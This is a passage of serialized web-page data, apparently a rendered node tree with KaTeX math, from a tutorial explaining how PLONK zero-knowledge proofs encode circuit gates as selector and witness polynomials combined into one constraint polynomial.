",{"type":21,"tag":78,"props":144484,"children":144486},{"className":144485},[6715,6716],[144487],{"type":21,"tag":153,"props":144488,"children":144490},{"className":144489},[6721],[144491],{"type":21,"tag":153,"props":144492,"children":144494},{"className":144493,"ariaHidden":3294},[6726],[144495],{"type":21,"tag":153,"props":144496,"children":144498},{"className":144497},[6731],[144499,144504],{"type":21,"tag":153,"props":144500,"children":144503},{"className":144501,"style":144502},[6736],"height:0.8389em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":144505,"children":144507},{"className":144506},[6742],[144508,144513],{"type":21,"tag":153,"props":144509,"children":144511},{"className":144510},[6742,124119],[144512],{"type":26,"value":124122},{"type":21,"tag":153,"props":144514,"children":144516},{"className":144515},[6757],[144517],{"type":21,"tag":153,"props":144518,"children":144520},{"className":144519},[6762,24334],[144521,144555],{"type":21,"tag":153,"props":144522,"children":144524},{"className":144523},[6767],[144525,144550],{"type":21,"tag":153,"props":144526,"children":144528},{"className":144527,"style":95396},[6772],[144529],{"type":21,"tag":153,"props":144530,"children":144531},{"style":95400},[144532,144536],{"type":21,"tag":153,"props":144533,"children":144535},{"className":144534,"style":6782},[6781],[],{"type":21,"tag":153,"props":144537,"children":144539},{"className":144538},[6787,6788,6789,6790],[144540],{"type":21,"tag":153,"props":144541,"children":144543},{"className":144542},[6742,6790],[144544],{"type":21,"tag":153,"props":144545,"children":144547},{"className":144546},[6742,6790],[144548],{"type":26,"value":144549},"37",{"type":21,"tag":153,"props":144551,"children":144553},{"className":144552},[24437],[144554],{"type":26,"value":24440},{"type":21,"tag":153,"props":144556,"children":144558},{"className":144557},[6767],[144559],{"type":21,"tag":153,"props":144560,"children":144562},{"className":144561,"style":95427},[6772],[144563],{"type":21,"tag":153,"props":144564,"children":144565},{},[],{"type":26,"value":355},{"type":21,"tag":144568,"props":144569,"children":144570},"arithmetic-circuit-widget",{},[],{"type":21,"tag":22,"props":144572,"children":144573},{},[144574,144576,144602,144604,144683,144685,144762,144764,144841],{"type":26,"value":144575},"Each gate ",{"type":21,"tag":78,"props":144577,"children":144579},{"className":144578},[6715,6716],[144580],{"type":21,"tag":153,"props":144581,"children":144583},{"className":144582},[6721],[144584],{"type":21,"tag":153,"props":144585,"children":144587},{"className":144586,"ariaHidden":3294},[6726],[144588],{"type":21,"tag":153,"props":144589,"children":144591},{"className":144590},[6731],[144592,144597],{"type":21,"tag":153,"props":144593,"children":144596},{"className":144594,"style":144595},[6736],"height:0.6595em;",[],{"type":21,"tag":153,"props":144598,"children":144600},{"className":144599},[6742,24280],[144601],{"type":26,"value":6471},{"type":26,"value":144603}," has a left input ",{"type":21,"tag":78,"props":144605,"children":144607},{"className":144606},[6715,6716],[144608],{"type":21,"tag":153,"props":144609,"children":144611},{"className":144610},[6721],[144612],{"type":21,"tag":153,"props":144613,"children":144615},{"className":144614,"ariaHidden":3294},[6726],[144616],{"type":21,"tag":153,"props":144617,"children":144619},{"className":144618},[6731],[144620,144625],{"type":21,"tag":153,"props":144621,"children":144624},{"className":144622,"style":144623},[6736],"height:0.8444em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":144626,"children":144628},{"className":144627},[6742],[144629,144634],{"type":21,"tag":153,"props":144630,"children":144632},{"className":144631,"style":95356},[6742,24280],[144633],{"type":26,"value":95359},{"type":21,"tag":153,"props":144635,"children":144637},{"className":144636},[6757],[144638],{"type":21,"tag":153,"props":144639,"children":144641},{"className":144640},[6762,24334],[144642,144672],{"type":21,"tag":153,"props":144643,"children":144645},{"className":144644},[6767],[144646,144667],{"type":21,"tag":153,"props":144647,"children":144649},{"className":144648,"style":95873},[6772],[144650],{"type":21,"tag":153,"props":144651,"children":144653},{"style":144652},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[144654,144658],{"type":21,"tag":153,"props":144655,"children":144657},{"className":144656,"style":6782},[6781],[],{"type":21,"tag":153,"props":144659,"children":144661},{"className":144660},[6787,6788,6789,6790],[144662],{"type":21,"tag":153,"props":144663,"children":144665},{"className":144664},[6742,24280,6790],[144666],{"type":26,"value":6471},{"type":21,"tag":153,"props":144668,"children":144670},{"className":144669},[24437],[144671],{"type":26,"value":24440},{"type":21,"tag":153,"props":144673,"children":144675},{"className":144674},[6767],[144676],{"type":21,"tag":153,"props":144677,"children":144679},{"className":144678,"style":95427},[6772],[144680],{"type":21,"tag":153,"props":144681,"children":144682},{},[],{"type":26,"value":144684},", right input ",{"type":21,"tag":78,"props":144686,"children":144688},{"className":144687},[6715,6716],[144689],{"type":21,"tag":153,"props":144690,"children":144692},{"className":144691},[6721],[144693],{"type":21,"tag":153,"props":144694,"children":144696},{"className":144695,"ariaHidden":3294},[6726],[144697],{"type":21,"tag":153,"props":144698,"children":144700},{"className":144699},[6731],[144701,144705],{"type":21,"tag":153,"props":144702,"children":144704},{"className":144703,"style":112314},[6736],[],{"type":21,"tag":153,"props":144706,"children":144708},{"className":144707},[6742],[144709,144714],{"type":21,"tag":153,"props":144710,"children":144712},{"className":144711,"style":95344},[6742,24280],[144713],{"type":26,"value":96163},{"type":21,"tag":153,"props":144715,"children":144717},{"className":144716},[6757],[144718],{"type":21,"tag":153,"props":144719,"children":144721},{"className":144720},[6762,24334],[144722,144751],{"type":21,"tag":153,"props":144723,"children":144725},{"className":144724},[6767],[144726,144746],{"type":21,"tag":153,"props":144727,"children":144729},{"className":144728,"style":95873},[6772],[144730],{"type":21,"tag":153,"props":144731,"children":144732},{"style":112343},[144733,144737],{"type":21,"tag":153,"props":144734,"children":144736},{"className":144735,"style":6782},[6781],[],{"type":21,"tag":153,"props":144738,"children":144740},{"className":144739},[6787,6788,6789,6790],[144741],{"type":21,"tag":153,"props":144742,"children":144744},{"className":144743},[6742,24280,6790],[144745],{"type":26,"value":6471},{"type":21,"tag":153,"props":144747,"children":144749},{"className":144748},[24437],[144750],{"type":26,"value":24440},{"type":21,"tag":153,"props":144752,"children":144754},{"className":144753},[6767],[144755],{"type":21,"tag":153,"props":144756,"children":144758},{"className":144757,"style":95427},[6772],[144759],{"type":21,"tag":153,"props":144760,"children":144761},{},[],{"type":26,"value":144763},", and output ",{"type":21,"tag":78,"props":144765,"children":144767},{"className":144766},[6715,6716],[144768],{"type":21,"tag":153,"props":144769,"children":144771},{"className":144770},[6721],[144772],{"type":21,"tag":153,"props":144773,"children":144775},{"className":144774,"ariaHidden":3294},[6726],[144776],{"type":21,"tag":153,"props":144777,"children":144779},{"className":144778},[6731],[144780,144784],{"type":21,"tag":153,"props":144781,"children":144783},{"className":144782,"style":112314},[6736],[],{"type":21,"tag":153,"props":144785,"children":144787},{"className":144786},[6742],[144788,144793],{"type":21,"tag":153,"props":144789,"children":144791},{"className":144790},[6742,24280],[144792],{"type":26,"value":95314},{"type":21,"tag":153,"props":144794,"children":144796},{"className":144795},[6757],[144797],{"type":21,"tag":153,"props":144798,"children":144800},{"className":144799},[6762,24334],[144801,144830],{"type":21,"tag":153,"props":144802,"children":144804},{"className":144803},[6767],[144805,144825],{"type":21,"tag":153,"props":144806,"children":144808},{"className":144807,"style":95873},[6772],[144809],{"type":21,"tag":153,"props":144810,"children":144811},{"style":95400},[144812,144816],{"type":21,"tag":153,"props":144813,"children":144815},{"className":144814,"style":6782},[6781],[],{"type":21,"tag":153,"props":144817,"children":144819},{"className":144818},[6787,6788,6789,6790],[144820],{"type":21,"tag":153,"props":144821,"children":144823},{"className":144822},[6742,24280,6790],[144824],{"type":26,"value":6471},{"type":21,"tag":153,"props":144826,"children":144828},{"className":144827},[24437],[144829],{"type":26,"value":24440},{"type":21,"tag":153,"props":144831,"children":144833},{"className":144832},[6767],[144834],{"type":21,"tag":153,"props":144835,"children":144837},{"className":144836,"style":95427},[6772],[144838],{"type":21,"tag":153,"props":144839,"children":144840},{},[],{"type":26,"value":144842},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":21,"tag":22,"props":144844,"children":144845},{},[144846,144848,144853,144855,144959,144961,145064,145066,145071],{"type":26,"value":144847},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":21,"tag":5302,"props":144849,"children":144850},{},[144851],{"type":26,"value":144852},"selector",{"type":26,"value":144854}," values that act as switches: setting ",{"type":21,"tag":78,"props":144856,"children":144858},{"className":144857},[6715,6716],[144859],{"type":21,"tag":153,"props":144860,"children":144862},{"className":144861},[6721],[144863],{"type":21,"tag":153,"props":144864,"children":144866},{"className":144865,"ariaHidden":3294},[6726],[144867,144946],{"type":21,"tag":153,"props":144868,"children":144870},{"className":144869},[6731],[144871,144875,144933,144937,144942],{"type":21,"tag":153,"props":144872,"children":144874},{"className":144873,"style":112234},[6736],[],{"type":21,"tag":153,"props":144876,"children":144878},{"className":144877},[6742],[144879,144884],{"type":21,"tag":153,"props":144880,"children":144882},{"className":144881,"style":95830},[6742,24280],[144883],{"type":26,"value":95833},{"type":21,"tag":153,"props":144885,"children":144887},{"className":144886},[6757],[144888],{"type":21,"tag":153,"props":144889,"children":144891},{"className":144890},[6762,24334],[144892,144922],{"type":21,"tag":153,"props":144893,"children":144895},{"className":144894},[6767],[144896,144917],{"type":21,"tag":153,"props":144897,"children":144900},{"className":144898,"style":144899},[6772],"height:0.3283em;",[144901],{"type":21,"tag":153,"props":144902,"children":144903},{"style":95877},[144904,144908],{"type":21,"tag":153,"props":144905,"children":144907},{"className":144906,"style":6782},[6781],[],{"type":21,"tag":153,"props":144909,"children":144911},{"className":144910},[6787,6788,6789,6790],[144912],{"type":21,"tag":153,"props":144913,"children":144915},{"className":144914,"style":97352},[6742,24280,6790],[144916],{"type":26,"value":97355},{"type":21,"tag":153,"props":144918,"children":144920},{"className":144919},[24437],[144921],{"type":26,"value":24440},{"type":21,"tag":153,"props":144923,"children":144925},{"className":144924},[6767],[144926],{"type":21,"tag":153,"props":144927,"children":144929},{"className":144928,"style":95427},[6772],[144930],{"type":21,"tag":153,"props":144931,"children":144932},{},[],{"type":21,"tag":153,"props":144934,"children":144936},{"className":144935,"style":6918},[6820],[],{"type":21,"tag":153,"props":144938,"children":144940},{"className":144939},[6923],[144941],{"type":26,"value":2367},{"type":21,"tag":153,"props":144943,"children":144945},{"className":144944,"style":6918},[6820],[],{"type":21,"tag":153,"props":144947,"children":144949},{"className":144948},[6731],[144950,144954],{"type":21,"tag":153,"props":144951,"children":144953},{"className":144952,"style":96375},[6736],[],{"type":21,"tag":153,"props":144955,"children":144957},{"className":144956},[6742],[144958],{"type":26,"value":3033},{"type":26,"value":144960}," makes a row a multiplication gate, setting ",{"type":21,"tag":78,"props":144962,"children":144964},{"className":144963},[6715,6716],[144965],{"type":21,"tag":153,"props":144966,"children":144968},{"className":144967},[6721],[144969],{"type":21,"tag":153,"props":144970,"children":144972},{"className":144971,"ariaHidden":3294},[6726],[144973,145051],{"type":21,"tag":153,"props":144974,"children":144976},{"className":144975},[6731],[144977,144981,145038,145042,145047],{"type":21,"tag":153,"props":144978,"children":144980},{"className":144979,"style":112234},[6736],[],{"type":21,"tag":153,"props":144982,"children":144984},{"className":144983},[6742],[144985,144990],{"type":21,"tag":153,"props":144986,"children":144988},{"className":144987,"style":95830},[6742,24280],[144989],{"type":26,"value":95833},{"type":21,"tag":153,"props":144991,"children":144993},{"className":144992},[6757],[144994],{"type":21,"tag":153,"props":144995,"children":144997},{"className":144996},[6762,24334],[144998,145027],{"type":21,"tag":153,"props":144999,"children":145001},{"className":145000},[6767],[145002,145022],{"type":21,"tag":153,"props":145003,"children":145005},{"className":145004,"style":144899},[6772],[145006],{"type":21,"tag":153,"props":145007,"children":145008},{"style":95877},[145009,145013],{"type":21,"tag":153,"props":145010,"children":145012},{"className":145011,"style":6782},[6781],[],{"type":21,"tag":153,"props":145014,"children":145016},{"className":145015},[6787,6788,6789,6790],[145017],{"type":21,"tag":153,"props":145018,"children":145020},{"className":145019},[6742,24280,6790],[145021],{"type":26,"value":120308},{"type":21,"tag":153,"props":145023,"children":145025},{"className":145024},[24437],[145026],{"type":26,"value":24440},{"type":21,"tag":153,"props":145028,"children":145030},{"className":145029},[6767],[145031],{"type":21,"tag":153,"props":145032,"children":145034},{"className":145033,"style":95427},[6772],[145035],{"type":21,"tag":153,"props":145036,"children":145037},{},[],{"type":21,"tag":153,"props":145039,"children":145041},{"className":145040,"style":6918},[6820],[],{"type":21,"tag":153,"props":145043,"children":145045},{"className":145044},[6923],[145046],{"type":26,"value":2367},{"type":21,"tag":153,"props":145048,"children":145050},{"className":145049,"style":6918},[6820],[],{"type":21,"tag":153,"props":145052,"children":145054},{"className":145053},[6731],[145055,145059],{"type":21,"tag":153,"props":145056,"children":145058},{"className":145057,"style":96375},[6736],[],{"type":21,"tag":153,"props":145060,"children":145062},{"className":145061},[6742],[145063],{"type":26,"value":3033},{"type":26,"value":145065}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":21,"tag":5302,"props":145067,"children":145068},{},[145069],{"type":26,"value":145070},"permutation argument",{"type":26,"value":145072}," for that, which we will not cover here.",{"type":21,"tag":114,"props":145074,"children":145076},{"id":145075},"from-many-checks-to-one",[145077],{"type":26,"value":145078},"From many checks to one",{"type":21,"tag":22,"props":145080,"children":145081},{},[145082,145084,145089,145090,145182,145183,145275,145276,145368,145370,145375,145376,145468,145469,145561,145563,145588,145590,145615,145617,145709,145711,145736,145738,145763],{"type":26,"value":145083},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":21,"tag":5302,"props":145085,"children":145086},{},[145087],{"type":26,"value":145088},"witness polynomials",{"type":26,"value":9187},{"type":21,"tag":78,"props":145091,"children":145093},{"className":145092},[6715,6716],[145094],{"type":21,"tag":153,"props":145095,"children":145097},{"className":145096},[6721],[145098],{"type":21,"tag":153,"props":145099,"children":145101},{"className":145100,"ariaHidden":3294},[6726],[145102],{"type":21,"tag":153,"props":145103,"children":145105},{"className":145104},[6731],[145106,145110,145167,145172,145177],{"type":21,"tag":153,"props":145107,"children":145109},{"className":145108,"style":6841},[6736],[],{"type":21,"tag":153,"props":145111,"children":145113},{"className":145112},[6742],[145114,145119],{"type":21,"tag":153,"props":145115,"children":145117},{"className":145116,"style":97698},[6742,24280],[145118],{"type":26,"value":35778},{"type":21,"tag":153,"props":145120,"children":145122},{"className":145121},[6757],[145123],{"type":21,"tag":153,"props":145124,"children":145126},{"className":145125},[6762,24334],[145127,145156],{"type":21,"tag":153,"props":145128,"children":145130},{"className":145129},[6767],[145131,145151],{"type":21,"tag":153,"props":145132,"children":145134},{"className":145133,"style":144899},[6772],[145135],{"type":21,"tag":153,"props":145136,"children":145137},{"style":97719},[145138,145142],{"type":21,"tag":153,"props":145139,"children":145141},{"className":145140,"style":6782},[6781],[],{"type":21,"tag":153,"props":145143,"children":145145},{"className":145144},[6787,6788,6789,6790],[145146],{"type":21,"tag":153,"props":145147,"children":145149},{"className":145148},[6742,24280,6790],[145150],{"type":26,"value":120308},{"type":21,"tag":153,"props":145152,"children":145154},{"className":145153},[24437],[145155],{"type":26,"value":24440},{"type":21,"tag":153,"props":145157,"children":145159},{"className":145158},[6767],[145160],{"type":21,"tag":153,"props":145161,"children":145163},{"className":145162,"style":95427},[6772],[145164],{"type":21,"tag":153,"props":145165,"children":145166},{},[],{"type":21,"tag":153,"props":145168,"children":145170},{"className":145169},[24409],[145171],{"type":26,"value":189},{"type":21,"tag":153,"props":145173,"children":145175},{"className":145174},[6742,24280],[145176],{"type":26,"value":21972},{"type":21,"tag":153,"props":145178,"children":145180},{"className":145179},[24431],[145181],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":145184,"children":145186},{"className":145185},[6715,6716],[145187],{"type":21,"tag":153,"props":145188,"children":145190},{"className":145189},[6721],[145191],{"type":21,"tag":153,"props":145192,"children":145194},{"className":145193,"ariaHidden":3294},[6726],[145195],{"type":21,"tag":153,"props":145196,"children":145198},{"className":145197},[6731],[145199,145203,145260,145265,145270],{"type":21,"tag":153,"props":145200,"children":145202},{"className":145201,"style":6841},[6736],[],{"type":21,"tag":153,"props":145204,"children":145206},{"className":145205},[6742],[145207,145212],{"type":21,"tag":153,"props":145208,"children":145210},{"className":145209,"style":97698},[6742,24280],[145211],{"type":26,"value":35778},{"type":21,"tag":153,"props":145213,"children":145215},{"className":145214},[6757],[145216],{"type":21,"tag":153,"props":145217,"children":145219},{"className":145218},[6762,24334],[145220,145249],{"type":21,"tag":153,"props":145221,"children":145223},{"className":145222},[6767],[145224,145244],{"type":21,"tag":153,"props":145225,"children":145227},{"className":145226,"style":144899},[6772],[145228],{"type":21,"tag":153,"props":145229,"children":145230},{"style":97719},[145231,145235],{"type":21,"tag":153,"props":145232,"children":145234},{"className":145233,"style":6782},[6781],[],{"type":21,"tag":153,"props":145236,"children":145238},{"className":145237},[6787,6788,6789,6790],[145239],{"type":21,"tag":153,"props":145240,"children":145242},{"className":145241,"style":125121},[6742,24280,6790],[145243],{"type":26,"value":125124},{"type":21,"tag":153,"props":145245,"children":145247},{"className":145246},[24437],[145248],{"type":26,"value":24440},{"type":21,"tag":153,"props":145250,"children":145252},{"className":145251},[6767],[145253],{"type":21,"tag":153,"props":145254,"children":145256},{"className":145255,"style":95427},[6772],[145257],{"type":21,"tag":153,"props":145258,"children":145259},{},[],{"type":21,"tag":153,"props":145261,"children":145263},{"className":145262},[24409],[145264],{"type":26,"value":189},{"type":21,"tag":153,"props":145266,"children":145268},{"className":145267},[6742,24280],[145269],{"type":26,"value":21972},{"type":21,"tag":153,"props":145271,"children":145273},{"className":145272},[24431],[145274],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":145277,"children":145279},{"className":145278},[6715,6716],[145280],{"type":21,"tag":153,"props":145281,"children":145283},{"className":145282},[6721],[145284],{"type":21,"tag":153,"props":145285,"children":145287},{"className":145286,"ariaHidden":3294},[6726],[145288],{"type":21,"tag":153,"props":145289,"children":145291},{"className":145290},[6731],[145292,145296,145353,145358,145363],{"type":21,"tag":153,"props":145293,"children":145295},{"className":145294,"style":6841},[6736],[],{"type":21,"tag":153,"props":145297,"children":145299},{"className":145298},[6742],[145300,145305],{"type":21,"tag":153,"props":145301,"children":145303},{"className":145302,"style":97698},[6742,24280],[145304],{"type":26,"value":35778},{"type":21,"tag":153,"props":145306,"children":145308},{"className":145307},[6757],[145309],{"type":21,"tag":153,"props":145310,"children":145312},{"className":145311},[6762,24334],[145313,145342],{"type":21,"tag":153,"props":145314,"children":145316},{"className":145315},[6767],[145317,145337],{"type":21,"tag":153,"props":145318,"children":145320},{"className":145319,"style":144899},[6772],[145321],{"type":21,"tag":153,"props":145322,"children":145323},{"style":97719},[145324,145328],{"type":21,"tag":153,"props":145325,"children":145327},{"className":145326,"style":6782},[6781],[],{"type":21,"tag":153,"props":145329,"children":145331},{"className":145330},[6787,6788,6789,6790],[145332],{"type":21,"tag":153,"props":145333,"children":145335},{"className":145334,"style":95344},[6742,24280,6790],[145336],{"type":26,"value":117663},{"type":21,"tag":153,"props":145338,"children":145340},{"className":145339},[24437],[145341],{"type":26,"value":24440},{"type":21,"tag":153,"props":145343,"children":145345},{"className":145344},[6767],[145346],{"type":21,"tag":153,"props":145347,"children":145349},{"className":145348,"style":95427},[6772],[145350],{"type":21,"tag":153,"props":145351,"children":145352},{},[],{"type":21,"tag":153,"props":145354,"children":145356},{"className":145355},[24409],[145357],{"type":26,"value":189},{"type":21,"tag":153,"props":145359,"children":145361},{"className":145360},[6742,24280],[145362],{"type":26,"value":21972},{"type":21,"tag":153,"props":145364,"children":145366},{"className":145365},[24431],[145367],{"type":26,"value":2071},{"type":26,"value":145369}," and the selectors become ",{"type":21,"tag":5302,"props":145371,"children":145372},{},[145373],{"type":26,"value":145374},"selector polynomials",{"type":26,"value":9187},{"type":21,"tag":78,"props":145377,"children":145379},{"className":145378},[6715,6716],[145380],{"type":21,"tag":153,"props":145381,"children":145383},{"className":145382},[6721],[145384],{"type":21,"tag":153,"props":145385,"children":145387},{"className":145386,"ariaHidden":3294},[6726],[145388],{"type":21,"tag":153,"props":145389,"children":145391},{"className":145390},[6731],[145392,145396,145453,145458,145463],{"type":21,"tag":153,"props":145393,"children":145395},{"className":145394,"style":6841},[6736],[],{"type":21,"tag":153,"props":145397,"children":145399},{"className":145398},[6742],[145400,145405],{"type":21,"tag":153,"props":145401,"children":145403},{"className":145402},[6742,24280],[145404],{"type":26,"value":79099},{"type":21,"tag":153,"props":145406,"children":145408},{"className":145407},[6757],[145409],{"type":21,"tag":153,"props":145410,"children":145412},{"className":145411},[6762,24334],[145413,145442],{"type":21,"tag":153,"props":145414,"children":145416},{"className":145415},[6767],[145417,145437],{"type":21,"tag":153,"props":145418,"children":145420},{"className":145419,"style":144899},[6772],[145421],{"type":21,"tag":153,"props":145422,"children":145423},{"style":95400},[145424,145428],{"type":21,"tag":153,"props":145425,"children":145427},{"className":145426,"style":6782},[6781],[],{"type":21,"tag":153,"props":145429,"children":145431},{"className":145430},[6787,6788,6789,6790],[145432],{"type":21,"tag":153,"props":145433,"children":145435},{"className":145434,"style":97352},[6742,24280,6790],[145436],{"type":26,"value":97355},{"type":21,"tag":153,"props":145438,"children":145440},{"className":145439},[24437],[145441],{"type":26,"value":24440},{"type":21,"tag":153,"props":145443,"children":145445},{"className":145444},[6767],[145446],{"type":21,"tag":153,"props":145447,"children":145449},{"className":145448,"style":95427},[6772],[145450],{"type":21,"tag":153,"props":145451,"children":145452},{},[],{"type":21,"tag":153,"props":145454,"children":145456},{"className":145455},[24409],[145457],{"type":26,"value":189},{"type":21,"tag":153,"props":145459,"children":145461},{"className":145460},[6742,24280],[145462],{"type":26,"value":21972},{"type":21,"tag":153,"props":145464,"children":145466},{"className":145465},[24431],[145467],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":145470,"children":145472},{"className":145471},[6715,6716],[145473],{"type":21,"tag":153,"props":145474,"children":145476},{"className":145475},[6721],[145477],{"type":21,"tag":153,"props":145478,"children":145480},{"className":145479,"ariaHidden":3294},[6726],[145481],{"type":21,"tag":153,"props":145482,"children":145484},{"className":145483},[6731],[145485,145489,145546,145551,145556],{"type":21,"tag":153,"props":145486,"children":145488},{"className":145487,"style":6841},[6736],[],{"type":21,"tag":153,"props":145490,"children":145492},{"className":145491},[6742],[145493,145498],{"type":21,"tag":153,"props":145494,"children":145496},{"className":145495},[6742,24280],[145497],{"type":26,"value":79099},{"type":21,"tag":153,"props":145499,"children":145501},{"className":145500},[6757],[145502],{"type":21,"tag":153,"props":145503,"children":145505},{"className":145504},[6762,24334],[145506,145535],{"type":21,"tag":153,"props":145507,"children":145509},{"className":145508},[6767],[145510,145530],{"type":21,"tag":153,"props":145511,"children":145513},{"className":145512,"style":144899},[6772],[145514],{"type":21,"tag":153,"props":145515,"children":145516},{"style":95400},[145517,145521],{"type":21,"tag":153,"props":145518,"children":145520},{"className":145519,"style":6782},[6781],[],{"type":21,"tag":153,"props":145522,"children":145524},{"className":145523},[6787,6788,6789,6790],[145525],{"type":21,"tag":153,"props":145526,"children":145528},{"className":145527},[6742,24280,6790],[145529],{"type":26,"value":120308},{"type":21,"tag":153,"props":145531,"children":145533},{"className":145532},[24437],[145534],{"type":26,"value":24440},{"type":21,"tag":153,"props":145536,"children":145538},{"className":145537},[6767],[145539],{"type":21,"tag":153,"props":145540,"children":145542},{"className":145541,"style":95427},[6772],[145543],{"type":21,"tag":153,"props":145544,"children":145545},{},[],{"type":21,"tag":153,"props":145547,"children":145549},{"className":145548},[24409],[145550],{"type":26,"value":189},{"type":21,"tag":153,"props":145552,"children":145554},{"className":145553},[6742,24280],[145555],{"type":26,"value":21972},{"type":21,"tag":153,"props":145557,"children":145559},{"className":145558},[24431],[145560],{"type":26,"value":2071},{"type":26,"value":145562},", etc., all interpolated over a domain ",{"type":21,"tag":78,"props":145564,"children":145566},{"className":145565},[6715,6716],[145567],{"type":21,"tag":153,"props":145568,"children":145570},{"className":145569},[6721],[145571],{"type":21,"tag":153,"props":145572,"children":145574},{"className":145573,"ariaHidden":3294},[6726],[145575],{"type":21,"tag":153,"props":145576,"children":145578},{"className":145577},[6731],[145579,145583],{"type":21,"tag":153,"props":145580,"children":145582},{"className":145581,"style":24275},[6736],[],{"type":21,"tag":153,"props":145584,"children":145586},{"className":145585,"style":95578},[6742,24280],[145587],{"type":26,"value":95581},{"type":26,"value":145589}," of ",{"type":21,"tag":78,"props":145591,"children":145593},{"className":145592},[6715,6716],[145594],{"type":21,"tag":153,"props":145595,"children":145597},{"className":145596},[6721],[145598],{"type":21,"tag":153,"props":145599,"children":145601},{"className":145600,"ariaHidden":3294},[6726],[145602],{"type":21,"tag":153,"props":145603,"children":145605},{"className":145604},[6731],[145606,145610],{"type":21,"tag":153,"props":145607,"children":145609},{"className":145608,"style":113185},[6736],[],{"type":21,"tag":153,"props":145611,"children":145613},{"className":145612},[6742,24280],[145614],{"type":26,"value":58695},{"type":26,"value":145616},"-th roots of unity. Evaluating ",{"type":21,"tag":78,"props":145618,"children":145620},{"className":145619},[6715,6716],[145621],{"type":21,"tag":153,"props":145622,"children":145624},{"className":145623},[6721],[145625],{"type":21,"tag":153,"props":145626,"children":145628},{"className":145627,"ariaHidden":3294},[6726],[145629],{"type":21,"tag":153,"props":145630,"children":145632},{"className":145631},[6731],[145633,145637,145694,145699,145704],{"type":21,"tag":153,"props":145634,"children":145636},{"className":145635,"style":6841},[6736],[],{"type":21,"tag":153,"props":145638,"children":145640},{"className":145639},[6742],[145641,145646],{"type":21,"tag":153,"props":145642,"children":145644},{"className":145643,"style":97698},[6742,24280],[145645],{"type":26,"value":35778},{"type":21,"tag":153,"props":145647,"children":145649},{"className":145648},[6757],[145650],{"type":21,"tag":153,"props":145651,"children":145653},{"className":145652},[6762,24334],[145654,145683],{"type":21,"tag":153,"props":145655,"children":145657},{"className":145656},[6767],[145658,145678],{"type":21,"tag":153,"props":145659,"children":145661},{"className":145660,"style":144899},[6772],[145662],{"type":21,"tag":153,"props":145663,"children":145664},{"style":97719},[145665,145669],{"type":21,"tag":153,"props":145666,"children":145668},{"className":145667,"style":6782},[6781],[],{"type":21,"tag":153,"props":145670,"children":145672},{"className":145671},[6787,6788,6789,6790],[145673],{"type":21,"tag":153,"props":145674,"children":145676},{"className":145675},[6742,24280,6790],[145677],{"type":26,"value":120308},{"type":21,"tag":153,"props":145679,"children":145681},{"className":145680},[24437],[145682],{"type":26,"value":24440},{"type":21,"tag":153,"props":145684,"children":145686},{"className":145685},[6767],[145687],{"type":21,"tag":153,"props":145688,"children":145690},{"className":145689,"style":95427},[6772],[145691],{"type":21,"tag":153,"props":145692,"children":145693},{},[],{"type":21,"tag":153,"props":145695,"children":145697},{"className":145696},[24409],[145698],{"type":26,"value":189},{"type":21,"tag":153,"props":145700,"children":145702},{"className":145701},[6742,24280],[145703],{"type":26,"value":21972},{"type":21,"tag":153,"props":145705,"children":145707},{"className":145706},[24431],[145708],{"type":26,"value":2071},{"type":26,"value":145710}," at the ",{"type":21,"tag":78,"props":145712,"children":145714},{"className":145713},[6715,6716],[145715],{"type":21,"tag":153,"props":145716,"children":145718},{"className":145717},[6721],[145719],{"type":21,"tag":153,"props":145720,"children":145722},{"className":145721,"ariaHidden":3294},[6726],[145723],{"type":21,"tag":153,"props":145724,"children":145726},{"className":145725},[6731],[145727,145731],{"type":21,"tag":153,"props":145728,"children":145730},{"className":145729,"style":144595},[6736],[],{"type":21,"tag":153,"props":145732,"children":145734},{"className":145733},[6742,24280],[145735],{"type":26,"value":6471},{"type":26,"value":145737},"-th root recovers the left wire value at row ",{"type":21,"tag":78,"props":145739,"children":145741},{"className":145740},[6715,6716],[145742],{"type":21,"tag":153,"props":145743,"children":145745},{"className":145744},[6721],[145746],{"type":21,"tag":153,"props":145747,"children":145749},{"className":145748,"ariaHidden":3294},[6726],[145750],{"type":21,"tag":153,"props":145751,"children":145753},{"className":145752},[6731],[145754,145758],{"type":21,"tag":153,"props":145755,"children":145757},{"className":145756,"style":144595},[6736],[],{"type":21,"tag":153,"props":145759,"children":145761},{"className":145760},[6742,24280],[145762],{"type":26,"value":6471},{"type":26,"value":355},{"type":21,"tag":145765,"props":145766,"children":145767},"polynomial-interpolation-panel",{},[],{"type":21,"tag":22,"props":145769,"children":145770},{},[145771,145773,145813,145815,145881,145883,146013,146015,146055,146057,146097,146099,146139,146140,146262],{"type":26,"value":145772},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":21,"tag":78,"props":145774,"children":145776},{"className":145775},[6715,6716],[145777],{"type":21,"tag":153,"props":145778,"children":145780},{"className":145779},[6721],[145781],{"type":21,"tag":153,"props":145782,"children":145784},{"className":145783,"ariaHidden":3294},[6726],[145785],{"type":21,"tag":153,"props":145786,"children":145788},{"className":145787},[6731],[145789,145793,145798,145803,145808],{"type":21,"tag":153,"props":145790,"children":145792},{"className":145791,"style":6841},[6736],[],{"type":21,"tag":153,"props":145794,"children":145796},{"className":145795,"style":24281},[6742,24280],[145797],{"type":26,"value":124122},{"type":21,"tag":153,"props":145799,"children":145801},{"className":145800},[24409],[145802],{"type":26,"value":189},{"type":21,"tag":153,"props":145804,"children":145806},{"className":145805},[6742,24280],[145807],{"type":26,"value":21972},{"type":21,"tag":153,"props":145809,"children":145811},{"className":145810},[24431],[145812],{"type":26,"value":2071},{"type":26,"value":145814}," that combines selectors and witnesses. If the prover was honest, 